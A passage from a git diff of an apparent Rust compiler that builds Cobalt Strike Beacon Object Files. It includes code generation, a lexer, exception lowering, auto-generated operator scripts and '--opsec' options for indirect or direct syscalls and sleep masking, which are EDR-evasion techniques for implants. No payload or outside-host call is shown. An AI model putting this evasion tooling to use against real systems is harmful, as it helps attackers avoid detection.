Reg64::Rcx); + enc.and_r64_imm8(Reg64::R9, FLAG_MARK); + enc.test_r64_r64(Reg64::R9, Reg64::R9); + enc.jcc_label(Cond::Z, "__gc_sweep_free"); + // Marked: clear mark bit; keep allocated. + enc.and_r64_imm8(Reg64::Rcx, CLEAR_MARK_MASK); + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.jmp_label("__gc_sweep_next"); + + enc.place_code_label("__gc_sweep_free"); + // Unmarked: write size | FREE to header, link onto fresh freelist. + enc.or_r64_imm8(Reg64::Rcx, FLAG_FREE); + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.mov_r64disp_r64(Reg64::Rax, 8, Reg64::R11); + enc.mov_r64_r64(Reg64::R11, Reg64::Rax); + + enc.place_code_label("__gc_sweep_next"); + enc.add_r64_r64(Reg64::Rax, Reg64::Rdx); + enc.jmp_label("__gc_sweep_loop"); + + enc.place_code_label("__gc_sweep_done"); + enc.mov_data_r64(FREELIST, Reg64::R11); + + // Restore saved regs in reverse push order. + enc.pop_r64(Reg64::R15); + enc.pop_r64(Reg64::R14); + enc.pop_r64(Reg64::R13); + enc.pop_r64(Reg64::R12); + enc.pop_r64(Reg64::Rsi); + enc.pop_r64(Reg64::Rdi); + enc.pop_r64(Reg64::Rbp); + enc.pop_r64(Reg64::Rbx); + enc.ret(); +} + +fn emit_mark_range(enc: &mut Encoder) { + enc.place_code_label("__gc_mark_range"); + + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); // counter + // r10 = first valid user pointer (heap_base + 8) + enc.lea_r64_data(Reg64::R10, HEAP_BASE); + enc.add_r64_imm32(Reg64::R10, 8); + // r11 = upper bound (heap_next) + enc.mov_r64_data(Reg64::R11, HEAP_NEXT); + + enc.place_code_label("__gc_mr_loop"); + enc.cmp_r64_r64(Reg64::Rsi, Reg64::Rdi); + enc.jcc_label(Cond::Ae, "__gc_mr_done"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rsi, 0); // potential ptr + + // In range? + enc.cmp_r64_r64(Reg64::Rcx, Reg64::R10); + enc.jcc_label(Cond::B, "__gc_mr_next"); + enc.cmp_r64_r64(Reg64::Rcx, Reg64::R11); + enc.jcc_label(Cond::Ae, "__gc_mr_next"); + // Aligned? + enc.mov_r64_r64(Reg64::R8, Reg64::Rcx); + enc.and_r64_imm8(Reg64::R8, 7); + enc.test_r64_r64(Reg64::R8, Reg64::R8); + enc.jcc_label(Cond::Nz, "__gc_mr_next"); + // Treat (rcx - 8) as the block's header location. + enc.add_r64_imm32(Reg64::Rcx, -8); + enc.mov_r64_r64disp(Reg64::R8, Reg64::Rcx, 0); // header + // Already marked? + enc.mov_r64_r64(Reg64::R9, Reg64::R8); + enc.and_r64_imm8(Reg64::R9, FLAG_MARK); + enc.test_r64_r64(Reg64::R9, Reg64::R9); + enc.jcc_label(Cond::Nz, "__gc_mr_next"); + // Set mark bit and bump counter. + enc.or_r64_imm8(Reg64::R8, FLAG_MARK); + enc.mov_r64disp_r64(Reg64::Rcx, 0, Reg64::R8); + enc.add_r64_imm32(Reg64::Rax, 1); + + enc.place_code_label("__gc_mr_next"); + enc.add_r64_imm32(Reg64::Rsi, 8); + enc.jmp_label("__gc_mr_loop"); + + enc.place_code_label("__gc_mr_done"); + enc.ret(); +} diff --git a/src/lexer.rs b/src/lexer.rs new file mode 100644 index 0000000..8dff11e --- /dev/null +++ b/src/lexer.rs @@ -0,0 +1,221 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Source text -> token stream. + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Tok { + // literals + Ident(String), + Int(i64), + Str(String), + + // keywords + Fn, Var, If, Else, While, Ret, + For, Break, Continue, + Int_, Str_, Wstr_, Bool_, Void_, Char_, True, False, + Try, Catch, Raise, Asm, Macro, + Static, Struct, Enum, UseC, Use, Sizeof, + Extern, + + // operators + Plus, Minus, Star, Slash, Percent, + EqEq, NotEq, Lt, Gt, LtEq, GtEq, + AndAnd, OrOr, Bang, Assign, + Amp, // & address-of OR bitwise AND (single; `&&` is AndAnd) + Pipe, Caret, Tilde, // bitwise | ^ ~ + Shl, Shr, // << >> + PlusPlus, MinusMinus, // ++ / -- (postfix, statement-only) + PlusEq, MinusEq, StarEq, SlashEq, PercentEq, // += -= *= /= %= compound assigns + AmpEq, PipeEq, CaretEq, ShlEq, ShrEq, // &= |= ^= <<= >>= bitwise compounds + + // punctuation + LParen, RParen, LBrace, RBrace, LBrack, RBrack, + Comma, Semi, Colon, Dot, Arrow, + + Eof, +} + +#[derive(Debug, Clone)] +pub struct Token { + pub kind: Tok, + pub line: u32, + pub col: u32, +} + +pub fn tokenize(src: &str) -> Result, String> { + let mut out = Vec::new(); + let bytes = src.as_bytes(); + let mut i = 0usize; + let mut line = 1u32; + let mut col = 1u32; + + let bump = |i: &mut usize, line: &mut u32, col: &mut u32, n: usize, bytes: &[u8]| { + for _ in 0..n { + if *i >= bytes.len() { break; } + if bytes[*i] == b'\n' { *line += 1; *col = 1; } else { *col += 1; } + *i += 1; + } + }; + + while i < bytes.len() { + let c = bytes[i]; + + // whitespace + if (c as char).is_ascii_whitespace() { + bump(&mut i, &mut line, &mut col, 1, bytes); + continue; + } + // line comment + if c == b'/' && i + 1 < bytes.len() && bytes[i+1] == b'/' { + while i < bytes.len() && bytes[i] != b'\n' { i += 1; } + continue; + } + // block comment + if c == b'/' && i + 1 < bytes.len() && bytes[i+1] == b'*' { + bump(&mut i, &mut line, &mut col, 2, bytes); + while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i+1] == b'/') { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + if i + 1 < bytes.len() { bump(&mut i, &mut line, &mut col, 2, bytes); } + continue; + } + + let sl = line; let sc = col; + + // identifier / keyword + if (c as char).is_ascii_alphabetic() || c == b'_' { + let start = i; + while i < bytes.len() && ((bytes[i] as char).is_ascii_alphanumeric() || bytes[i] == b'_') { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + let id = std::str::from_utf8(&bytes[start..i]).unwrap().to_string(); + let kind = match id.as_str() { + "fn" => Tok::Fn, "var" => Tok::Var, "if" => Tok::If, "else" => Tok::Else, + "while" => Tok::While, "ret" => Tok::Ret, + "for" => Tok::For, "break" => Tok::Break, "continue" => Tok::Continue, + "int" => Tok::Int_, "str" => Tok::Str_, "wstr" => Tok::Wstr_, + "bool" => Tok::Bool_, + "void" => Tok::Void_, "char" => Tok::Char_, + "true" => Tok::True, "false" => Tok::False, + "try" => Tok::Try, "catch" => Tok::Catch, "raise" => Tok::Raise, + "asm" => Tok::Asm, "macro" => Tok::Macro, + "static" => Tok::Static, "struct" => Tok::Struct, + "enum" => Tok::Enum, + "use_c" => Tok::UseC, + "use" => Tok::Use, + "extern" => Tok::Extern, + "sizeof" => Tok::Sizeof, + _ => Tok::Ident(id), + }; + out.push(Token { kind, line: sl, col: sc }); + continue; + } + + // integer + if (c as char).is_ascii_digit() { + let start = i; + // hex literal 0x.. + if c == b'0' && i + 1 < bytes.len() && (bytes[i+1] == b'x' || bytes[i+1] == b'X') { + bump(&mut i, &mut line, &mut col, 2, bytes); + let hex_start = i; + while i < bytes.len() && (bytes[i] as char).is_ascii_hexdigit() { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + if hex_start == i { + return Err(format!("empty hex literal at {sl}:{sc}")); + } + let raw = std::str::from_utf8(&bytes[hex_start..i]).unwrap(); + // Use u64 parse then cast - allows full 64-bit range. + let v = u64::from_str_radix(raw, 16).map_err(|e| e.to_string())? as i64; + out.push(Token { kind: Tok::Int(v), line: sl, col: sc }); + continue; + } + while i < bytes.len() && (bytes[i] as char).is_ascii_digit() { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + let raw = std::str::from_utf8(&bytes[start..i]).unwrap(); + let v: i64 = raw.parse().map_err(|e: std::num::ParseIntError| e.to_string())?; + out.push(Token { kind: Tok::Int(v), line: sl, col: sc }); + continue; + } + + // string + if c == b'"' { + bump(&mut i, &mut line, &mut col, 1, bytes); + let mut s = String::new(); + while i < bytes.len() && bytes[i] != b'"' { + let ch = bytes[i]; + if ch == b'\\' && i + 1 < bytes.len() { + bump(&mut i, &mut line, &mut col, 1, bytes); + let esc = bytes[i]; + let mapped = match esc { + b'n' => '\n', b't' => '\t', b'r' => '\r', + b'0' => '\0', b'\\' => '\\', b'"' => '"', + _ => esc as char, + }; + s.push(mapped); + bump(&mut i, &mut line, &mut col, 1, bytes); + } else { + s.push(ch as char); + bump(&mut i, &mut line, &mut col, 1, bytes); + } + } + if i >= bytes.len() { return Err(format!("unterminated string at {sl}:{sc}")); } + bump(&mut i, &mut line, &mut col, 1, bytes); + out.push(Token { kind: Tok::Str(s), line: sl, col: sc }); + continue; + } + + // symbols + let two = |a: u8, b: u8| -> bool { + i + 1 < bytes.len() && bytes[i] == a && bytes[i+1] == b + }; + let three = |a: u8, b: u8, c2: u8| -> bool { + i + 2 < bytes.len() && bytes[i] == a && bytes[i+1] == b && bytes[i+2] == c2 + }; + // Match longer sequences first: <<= before << before <= before <. + let (kind, len) = if three(b'<', b'<', b'=') { (Tok::ShlEq, 3) } + else if three(b'>', b'>', b'=') { (Tok::ShrEq, 3) } + else if two(b'=', b'=') { (Tok::EqEq, 2) } + else if two(b'!', b'=') { (Tok::NotEq, 2) } + else if two(b'<', b'<') { (Tok::Shl, 2) } + else if two(b'>', b'>') { (Tok::Shr, 2) } + else if two(b'<', b'=') { (Tok::LtEq, 2) } + else if two(b'>', b'=') { (Tok::GtEq, 2) } + else if two(b'&', b'&') { (Tok::AndAnd, 2) } + else if two(b'|', b'|') { (Tok::OrOr, 2) } + else if two(b'-', b'>') { (Tok::Arrow, 2) } + // Postfix increment / decrement and compound assigns. ++ + // and += both share a + prefix; match longer first. + else if two(b'+', b'+') { (Tok::PlusPlus, 2) } + else if two(b'-', b'-') { (Tok::MinusMinus, 2) } + else if two(b'+', b'=') { (Tok::PlusEq, 2) } + else if two(b'-', b'=') { (Tok::MinusEq, 2) } + else if two(b'*', b'=') { (Tok::StarEq, 2) } + else if two(b'/', b'=') { (Tok::SlashEq, 2) } + else if two(b'%', b'=') { (Tok::PercentEq, 2) } + else if two(b'&', b'=') { (Tok::AmpEq, 2) } + else if two(b'|', b'=') { (Tok::PipeEq, 2) } + else if two(b'^', b'=') { (Tok::CaretEq, 2) } + else { + let k = match c { + b'+' => Tok::Plus, b'-' => Tok::Minus, b'*' => Tok::Star, + b'/' => Tok::Slash, b'%' => Tok::Percent, + b'<' => Tok::Lt, b'>' => Tok::Gt, + b'!' => Tok::Bang, b'=' => Tok::Assign, + b'&' => Tok::Amp, + b'|' => Tok::Pipe, b'^' => Tok::Caret, b'~' => Tok::Tilde, + b'(' => Tok::LParen, b')' => Tok::RParen, + b'{' => Tok::LBrace, b'}' => Tok::RBrace, + b'[' => Tok::LBrack, b']' => Tok::RBrack, + b',' => Tok::Comma, b';' => Tok::Semi, + b':' => Tok::Colon, b'.' => Tok::Dot, + _ => return Err(format!("unexpected char '{}' at {sl}:{sc}", c as char)), + }; + (k, 1) + }; + bump(&mut i, &mut line, &mut col, len, bytes); + out.push(Token { kind, line: sl, col: sc }); + } + out.push(Token { kind: Tok::Eof, line, col }); + Ok(out) +} diff --git a/src/macros.rs b/src/macros.rs new file mode 100644 index 0000000..58e516c --- /dev/null +++ b/src/macros.rs @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Lowering for high-level constructs (try/catch, mem.alloc). + +use crate::encoder::{Cond, Encoder, Reg64}; + +pub const HANDLER_PC: &str = "__handler_pc"; +pub const HANDLER_RSP: &str = "__handler_rsp"; +pub const HANDLER_RBP: &str = "__handler_rbp"; + +pub fn ensure_handler_slots(enc: &mut Encoder) { + if !enc.data_has(HANDLER_PC) { + enc.add_bss(HANDLER_PC, 8); + enc.add_bss(HANDLER_RSP, 8); + enc.add_bss(HANDLER_RBP, 8); + } +} + +/// Save (handler_pc, rsp, rbp) before the try body. +pub fn emit_try_prologue(enc: &mut Encoder, handler_label: &str) { + ensure_handler_slots(enc); + enc.lea_r64_code(Reg64::Rax, handler_label); + enc.mov_data_r64(HANDLER_PC, Reg64::Rax); + enc.mov_data_r64(HANDLER_RSP, Reg64::Rsp); + enc.mov_data_r64(HANDLER_RBP, Reg64::Rbp); +} + +/// Clear handler PC after the body completes without raising. +pub fn emit_try_epilogue(enc: &mut Encoder) { + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + enc.mov_data_r64(HANDLER_PC, Reg64::Rax); +} + +pub fn emit_raise(enc: &mut Encoder, fail_label: &str) { + ensure_handler_slots(enc); + enc.mov_r64_data(Reg64::Rcx, HANDLER_PC); + enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx); + enc.jcc_label(Cond::Z, fail_label); + enc.mov_r64_data(Reg64::Rsp, HANDLER_RSP); + enc.mov_r64_data(Reg64::Rbp, HANDLER_RBP); + enc.jmp_r64(Reg64::Rcx); + enc.place_code_label(fail_label); + enc.mov_r64_imm64(Reg64::Rax, 0xFF); + enc.ret(); +} + +// mem.alloc -> call __gc_alloc. Argument is already in rcx. +pub const GC_ALLOC_FN: &str = "__gc_alloc"; + +pub fn emit_gc_alloc_call(enc: &mut Encoder) { + enc.call_label(GC_ALLOC_FN); +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..4237fb2 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,880 @@ + +use std::env; +use std::fs; +use std::io::Write; +use std::process::ExitCode; + +mod ast; +mod asm; +mod cimport; +mod codegen; +mod coff; +mod dce; +mod encoder; +mod gc; +mod lexer; +mod macros; +mod parser; +pub mod polymorphism; +mod resolver; +mod shared; +mod veh; +mod typecheck; + +const SRC_EXT: &str = ".etpy"; + +fn compile( + path: &str, + gc_mode: codegen::GcMode, + kind: codegen::BuildKind, + opsec: polymorphism::OpsecConfig, +) -> Result { + if !path.ends_with(SRC_EXT) { + return Err(format!( + "input file `{path}` does not end in `{SRC_EXT}` - \ + did you mean the source, not the compiled output?" + )); + } + let src = fs::read_to_string(path).map_err(|e| format!("read {path}: {e}"))?; + let tokens = lexer::tokenize(&src)?; + let mut prog = parser::Parser::new(tokens.clone(), path).parse_program()?; + + let mut auto_includes: Vec<(&str, String)> = Vec::new(); + + let syscall_stub_subpath = if opsec.indirect_syscalls { + Some(("opsec/indirect_syscall.etpy", "indirect_syscalls")) + } else if opsec.direct_syscalls { + Some(("opsec/direct_syscall.etpy", "direct_syscalls")) + } else { + None + }; + if let Some((subpath, label)) = syscall_stub_subpath { + let has_user_ntcall = prog.functions.iter().any(|f| { + f.attrs.iter().any(|a| + a.kind == "Override" && a.arg.as_deref() == Some("NtCall")) + }); + if !has_user_ntcall { + let resolved = resolve_stdlib_subpath(path, subpath) + .ok_or_else(|| format!( + "--opsec={label}: couldn't locate `stdlib/{subpath}` \ + walking up from the source. Build from inside \ + the workspace, or add a manual `use \"...\";` \ + to your source." + ))?; + auto_includes.push((label, resolved)); + } + } + + if let Some(subpath) = opsec.sleep_mask.stdlib_subpath() { + let has_user_sleep_hook = prog.functions.iter().any(|f| { + f.attrs.iter().any(|a| + a.kind == "Hook" && a.arg.as_deref() == Some("KERNEL32$Sleep")) + }); + if !has_user_sleep_hook { + let label = "sleep_mask"; + let resolved = resolve_stdlib_subpath(path, subpath) + .ok_or_else(|| format!( + "--opsec=sleep_mask={}: couldn't locate \ + `stdlib/{subpath}` walking up from the source. \ + Build from inside the workspace, or write the \ + hook by hand and drop the flag.", + opsec.sleep_mask.name() + ))?; + auto_includes.push((label, resolved)); + } + } + + if !auto_includes.is_empty() { + let mut combined: Vec = Vec::new(); + for (_, resolved) in &auto_includes { + combined.extend(synthetic_use_tokens(resolved)); + } + let mut body = tokens.clone(); + let _ = body.pop(); // drop trailing EOF + combined.extend(body); + combined.push(lexer::Token { + kind: lexer::Tok::Eof, + line: 1, col: 1, + }); + prog = parser::Parser::new(combined, path).parse_program()?; + } + + auto_include_win32_constants(&mut prog, path)?; + + synthesize_bof_arg_parsers(&mut prog); + + resolve_enum_accesses(&mut prog)?; + + if let Err(errs) = typecheck::check_with_kind(&prog, kind) { + return Err(errs.join("\n\n")); + } + dce::eliminate_with_kind(&mut prog, kind); + + let cna_script = build_cna_script(&prog, path); + + let mut blob = codegen::CodeGen::with_opsec(gc_mode, kind, opsec).generate_with_debug(&prog)?; + blob.cna_script = cna_script; + Ok(blob) +} + +fn build_cna_script(prog: &ast::Program, source_path: &str) -> Option { + // Find [BofCommand] on go. + let go_fn = prog.functions.iter().find(|f| f.name == "go" && !f.is_extern)?; + let cmd_attr = go_fn.attrs.iter().find(|a| a.kind == "BofCommand")?; + let cmd_name = cmd_attr.arg.clone()?; + + // Find the [BofArgs] struct (zero or one). If present, derive + // the bof_pack format string and parameter list. + let bof_args = prog.structs.iter() + .find(|s| s.attrs.iter().any(|a| a.kind == "BofArgs")); + + let (pack_spec, sleep_param_names, usage_args) = if let Some(s) = bof_args { + let mut spec = String::new(); + let mut names = Vec::new(); + let mut usage = Vec::new(); + for (fname, fty) in &s.fields { + let c = match fty.as_str() { + "int" | "i32" | "u32" => 'i', + "i16" | "u16" => 's', + "str" | "char*" | "u8*" => 'z', + _ => { + eprintln!( + "warning: [BofCommand] cna gen: field `{fname}: {fty}` \ + in struct `{}` has no bof_pack mapping. The generated \ + .cna will skip this argument; edit it by hand if you \ + need the field.", s.name); + continue; + } + }; + spec.push(c); + names.push(format!("${fname}")); + usage.push(format!("<{fname}>")); + } + (spec, names, usage) + } else { + (String::new(), Vec::new(), Vec::new()) + }; + + // Cobalt Strike convention: BOFs ship as name.x64.o so the + // operator-side script_resource lookup matches. + let obj_basename = std::path::Path::new(source_path) + .file_stem() + .and_then(|s| s.to_str()) + .map(|s| format!("{s}.x64.o")) + .unwrap_or_else(|| format!("{cmd_name}.x64.o")); + + let expected_args = sleep_param_names.len(); + let usage_str = if usage_args.is_empty() { String::new() } else { format!(" {}", usage_args.join(" ")) }; + let pack_call = if pack_spec.is_empty() { + format!("bof_inline_execute($bid, script_resource(\"{obj_basename}\"), \"{cmd_name}\", \"\");") + } else { + format!( + "$args = bof_pack($bid, \"{pack_spec}\", {});\n\ + \tbof_inline_execute($bid, script_resource(\"{obj_basename}\"), \"{cmd_name}\", $args);", + sleep_param_names.join(", ") + ) + }; + let destructure = if sleep_param_names.is_empty() { + format!("local('$bid');\n\t$bid = $1;") + } else { + format!( + "local('$bid {}');\n\tif (size(@_) != {}) {{ berror($1, \"usage: {cmd_name}{usage_str}\"); return; }}\n\t($bid, {}) = @_;", + sleep_param_names.join(" "), + expected_args + 1, + sleep_param_names.join(", ") + ) + }; + + Some(format!( + "# {cmd_name}.cna\n\ + # Auto-generated by entc from {source_path}.\n\ + # Do not edit by hand; regenerate by rebuilding the .obj.\n\n\ + alias {cmd_name} {{\n\ + \t{destructure}\n\ + \t{pack_call}\n\ + }}\n\n\ + beacon_command_register(\n\ + \t\"{cmd_name}\",\n\ + \t\"Auto-generated BOF command from {source_path}\",\n\ + \t\"Usage: {cmd_name}{usage_str}\");\n" + )) +} + +fn resolve_enum_accesses(prog: &mut ast::Program) -> Result<(), String> { + use ast::{Expr, Stmt}; + + if prog.enums.is_empty() { return Ok(()); } + + let mut variants: std::collections::HashMap<(String, String), i64> = + std::collections::HashMap::new(); + let mut enum_names: std::collections::HashSet = + std::collections::HashSet::new(); + for e in &prog.enums { + enum_names.insert(e.name.clone()); + for (vname, value) in &e.variants { + variants.insert((e.name.clone(), vname.clone()), *value); + } + } + + fn rewrite_expr( + e: &mut Expr, + variants: &std::collections::HashMap<(String, String), i64>, + enums: &std::collections::HashSet, + ) -> Result<(), String> { + match e { + Expr::Field { base, field } => { + // Recurse first so nested expressions get rewritten. + rewrite_expr(base, variants, enums)?; + if let Expr::Var(name) = base.as_ref() { + if enums.contains(name) { + let key = (name.clone(), field.clone()); + let value = variants.get(&key).ok_or_else(|| format!( + "enum `{name}` has no variant `{field}`" + ))?; + *e = Expr::Int(*value); + return Ok(()); + } + } + } + Expr::Call { args, .. } => { + for a in args { rewrite_expr(a, variants, enums)?; } + } + Expr::Binary { lhs, rhs, .. } => { + rewrite_expr(lhs, variants, enums)?; + rewrite_expr(rhs, variants, enums)?; + } + Expr::Unary { operand, .. } => rewrite_expr(operand, variants, enums)?, + Expr::Assign { value, .. } => rewrite_expr(value, variants, enums)?, + Expr::FieldAssign { base, value, .. } => { + rewrite_expr(base, variants, enums)?; + rewrite_expr(value, variants, enums)?; + } + Expr::DerefAssign { ptr, value } => { + rewrite_expr(ptr, variants, enums)?; + rewrite_expr(value, variants, enums)?; + } + Expr::Index { base, index } => { + rewrite_expr(base, variants, enums)?; + rewrite_expr(index, variants, enums)?; + } + Expr::IndexAssign { base, index, value } => { + rewrite_expr(base, variants, enums)?; + rewrite_expr(index, variants, enums)?; + rewrite_expr(value, variants, enums)?; + } + Expr::Cast { expr, .. } => rewrite_expr(expr, variants, enums)?, + Expr::StructLit { fields, .. } => { + for (_, fv) in fields { rewrite_expr(fv, variants, enums)?; } + } + Expr::Int(_) | Expr::Bool(_) | Expr::Str(_) + | Expr::Var(_) | Expr::SizeOf { .. } => {} + } + Ok(()) + } + + fn rewrite_stmt( + s: &mut Stmt, + variants: &std::collections::HashMap<(String, String), i64>, + enums: &std::collections::HashSet, + ) -> Result<(), String> { + match s { + Stmt::Var { value, .. } => { + if let Some(v) = value { rewrite_expr(v, variants, enums)?; } + } + Stmt::Expr { value, .. } => rewrite_expr(value, variants, enums)?, + Stmt::If { cond, then_body, else_body } => { + rewrite_expr(cond, variants, enums)?; + for st in then_body { rewrite_stmt(st, variants, enums)?; } + for st in else_body { rewrite_stmt(st, variants, enums)?; } + } + Stmt::While { cond, body } => { + rewrite_expr(cond, variants, enums)?; + for st in body { rewrite_stmt(st, variants, enums)?; } + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { rewrite_stmt(i, variants, enums)?; } + if let Some(c) = cond { rewrite_expr(c, variants, enums)?; } + if let Some(st) = step { rewrite_stmt(st, variants, enums)?; } + for st in body { rewrite_stmt(st, variants, enums)?; } + } + Stmt::Ret { value: Some(v), .. } => rewrite_expr(v, variants, enums)?, + Stmt::Raise { value, .. } => rewrite_expr(value, variants, enums)?, + Stmt::Try { body, handler, .. } => { + for st in body { rewrite_stmt(st, variants, enums)?; } + for st in handler { rewrite_stmt(st, variants, enums)?; } + } + Stmt::Asm(_) + | Stmt::Ret { value: None, .. } + | Stmt::Break + | Stmt::Continue => {} + } + Ok(()) + } + + for f in &mut prog.functions { + for st in &mut f.body { + rewrite_stmt(st, &variants, &enum_names)?; + } + } + for s in &mut prog.statics { + if let Some(init) = &mut s.init { + rewrite_expr(init, &variants, &enum_names)?; + } + } + Ok(()) +} + +fn synthesize_bof_arg_parsers(prog: &mut ast::Program) { + use ast::{Expr, Function, Param, Span, Stmt}; + + let bof_arg_structs: Vec<(String, Vec<(String, String)>)> = prog.structs.iter() + .filter(|s| s.attrs.iter().any(|a| a.kind == "BofArgs")) + .map(|s| (s.name.clone(), s.fields.clone())) + .collect(); + + for (struct_name, fields) in bof_arg_structs { + let fn_name = format!("bof_parse_{struct_name}"); + // Don't synthesise twice (e.g. if the user wrote their own). + if prog.functions.iter().any(|f| f.name == fn_name) { + continue; + } + + let mut body: Vec = Vec::new(); + let zero_span = Span::default(); + let mk_call = |ns: &str, fname: &str, args: Vec| -> Expr { + Expr::Call { + ns: ns.to_string(), + fname: fname.to_string(), + args, + span: zero_span, + } + }; + let mk_addr_local = |name: &str| -> Expr { + Expr::Unary { op: "&".to_string(), operand: Box::new(Expr::Var(name.to_string())) } + }; + let mk_field_write = |base: &str, field: &str, value: Expr| -> Stmt { + Stmt::Expr { + value: Expr::FieldAssign { + base: Box::new(Expr::Var(base.to_string())), + field: field.to_string(), + value: Box::new(value), + }, + span: zero_span, + } + }; + + // var parser: datap; + // BeaconDataParse expects datap*; declaring as datap and + // passing &parser matches the signature exactly. + body.push(Stmt::Var { + name: "parser".to_string(), + ty: "datap".to_string(), + value: None, + span: zero_span, + }); + + // BeaconDataParse; + body.push(Stmt::Expr { + value: mk_call("", "BeaconDataParse", vec![ + mk_addr_local("parser"), + Expr::Var("args".to_string()), + Expr::Var("len".to_string()), + ]), + span: zero_span, + }); + + // Per-field assignment. + for (fname, fty) in &fields { + let extractor = match fty.as_str() { + "int" | "i32" | "u32" => Some("BeaconDataInt"), + "i16" | "u16" => Some("BeaconDataShort"), + "str" | "char*" | "u8*" => Some("BeaconDataExtract"), + _ => None, + }; + let call_args: Vec = if let Some(ex) = extractor { + if ex == "BeaconDataExtract" { + // BeaconDataExtract takes (parser, &size_out). We + // don't capture the size here; pass a null + // pointer (cast from 0) to ignore it. + vec![ + mk_addr_local("parser"), + Expr::Cast { + ty: "int*".to_string(), + expr: Box::new(Expr::Int(0)), + }, + ] + } else { + vec![mk_addr_local("parser")] + } + } else { + // Insert a clearly-failing call so typecheck flags + // the user's struct rather than a synthesised name. + eprintln!( + "warning: [BofArgs] struct `{struct_name}`: field \ + `{fname}: {fty}` has an unsupported type. Supported: \ + int/i32/u32 (BeaconDataInt), i16/u16 (BeaconDataShort), \ + str/char*/u8* (BeaconDataExtract). Skipping this field."); + continue; + }; + let call = mk_call("", extractor.unwrap(), call_args); + // Result types: extract returns char*. Int/Short return + // int. Cast to the field's declared type so the + // FieldAssign typecheck is happy. + let casted = Expr::Cast { + ty: fty.clone(), + expr: Box::new(call), + }; + // out. = + body.push(Stmt::Expr { + value: Expr::FieldAssign { + base: Box::new(Expr::Var("out".to_string())), + field: fname.clone(), + value: Box::new(casted), + }, + span: zero_span, + }); + } + // Suppress unused-helper warning for early-return path. + let _ = mk_field_write; + + body.push(Stmt::Ret { value: None, span: zero_span }); + + let f = Function { + name: fn_name, + // u8* is the canonical spelling for char* internally; + // using it here makes the typecheck happy regardless of + // whether the caller wrote char* or u8* for args. + params: vec![ + Param { name: "args".to_string(), ty: "u8*".to_string() }, + Param { name: "len".to_string(), ty: "int".to_string() }, + Param { name: "out".to_string(), ty: format!("{struct_name}*") }, + ], + ret_ty: "void".to_string(), + body, + attrs: Vec::new(), + is_extern: false, + }; + prog.functions.push(f); + } +} + +fn synthetic_use_tokens(path: &str) -> Vec { + vec![ + lexer::Token { kind: lexer::Tok::Use, line: 1, col: 1 }, + lexer::Token { kind: lexer::Tok::Str(path.to_string()), line: 1, col: 1 }, + lexer::Token { kind: lexer::Tok::Semi, line: 1, col: 1 }, + ] +} + +fn resolve_stdlib_subpath(source_path: &str, subpath: &str) -> Option { + let abs_source = std::fs::canonicalize(source_path).ok()?; + let mut cursor = abs_source.parent()?.to_path_buf(); + loop { + let candidate = cursor.join("stdlib").join(subpath); + if candidate.exists() { + let canon = std::fs::canonicalize(&candidate).ok()?; + let s = canon.to_string_lossy(); + let cleaned = s.trim_start_matches(r"\\?\").to_string(); + return Some(cleaned); + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + _ => return None, + } + } +} + +fn auto_include_win32_constants( + prog: &mut ast::Program, + source_path: &str, +) -> Result<(), String> { + // Locate the stdlib/win32 directory by walking up from the + // source. Matches resolve_stdlib_subpath but returns a + // directory rather than a single-file path. + let abs_source = std::fs::canonicalize(source_path) + .map_err(|e| format!("auto-include win32: {e}"))?; + let mut cursor = match abs_source.parent() { + Some(p) => p.to_path_buf(), + // Source has no parent - nothing to walk up from. Bail + // silently; the operator still gets the language without + // the constants. + None => return Ok(()), + }; + let win32_dir = loop { + let candidate = cursor.join("stdlib").join("win32"); + if candidate.is_dir() { + break candidate; + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + // Reached the root without finding stdlib/win32. Not + // an error - operators outside the workspace just + // don't get the auto-include. + _ => return Ok(()), + } + }; + + // Build a set of names that are already declared so the + // auto-include skips anything the user owns. + let mut existing_static_names: std::collections::HashSet = + prog.statics.iter().map(|s| s.name.clone()).collect(); + let mut existing_struct_names: std::collections::HashSet = + prog.structs.iter().map(|s| s.name.clone()).collect(); + + // Walk every .h in stdlib/win32 in alphabetical order so + // the merge order is deterministic. + let mut headers: Vec = std::fs::read_dir(&win32_dir) + .map_err(|e| format!("auto-include win32: read_dir {}: {e}", win32_dir.display()))? + .filter_map(|e| e.ok()) + .map(|e| e.path()) + .filter(|p| p.extension().map(|x| x == "h").unwrap_or(false)) + .collect(); + headers.sort(); + + for header in headers { + let header_str = header.to_string_lossy().to_string(); + let imported = match cimport::parse_header(&header_str) { + Ok(i) => i, + Err(e) => { + eprintln!( + "warning: auto-include win32: failed to parse {header_str}: {e}" + ); + continue; + } + }; + for s in imported.structs { + if existing_struct_names.insert(s.name.clone()) { + prog.structs.push(s); + } + } + for s in imported.statics { + if existing_static_names.insert(s.name.clone()) { + prog.statics.push(s); + } + } + } + Ok(()) +} + +/// Format the in-memory debug breadcrumbs as a human-readable sidecar. +/// Each line is : . Sorted +/// by offset so a grep on a crash PC's hex finds the nearest entry. +fn format_dbg( + src_path: &str, + marks: &[encoder::DbgMark], + vars: &[encoder::DbgVar], +) -> String { + let mut out = String::new(); + out.push_str(&format!("# entropy debug map for {src_path}\n")); + out.push_str("# offset line:col kind source\n"); + for m in marks { + out.push_str(&format!( + "{:08x} {:>5}:{:<3} {:<8} {}\n", + m.code_off, m.line, m.col, m.kind, src_path + )); + } + if !vars.is_empty() { + out.push_str("\n# variables\n"); + out.push_str("# name : type : loc : line_start..line_end\n"); + for v in vars { + let end = if v.line_end == u32::MAX { "max".to_string() } + else { v.line_end.to_string() }; + out.push_str(&format!( + "{} : {} : {} : {}..{}\n", + v.name, v.ty, 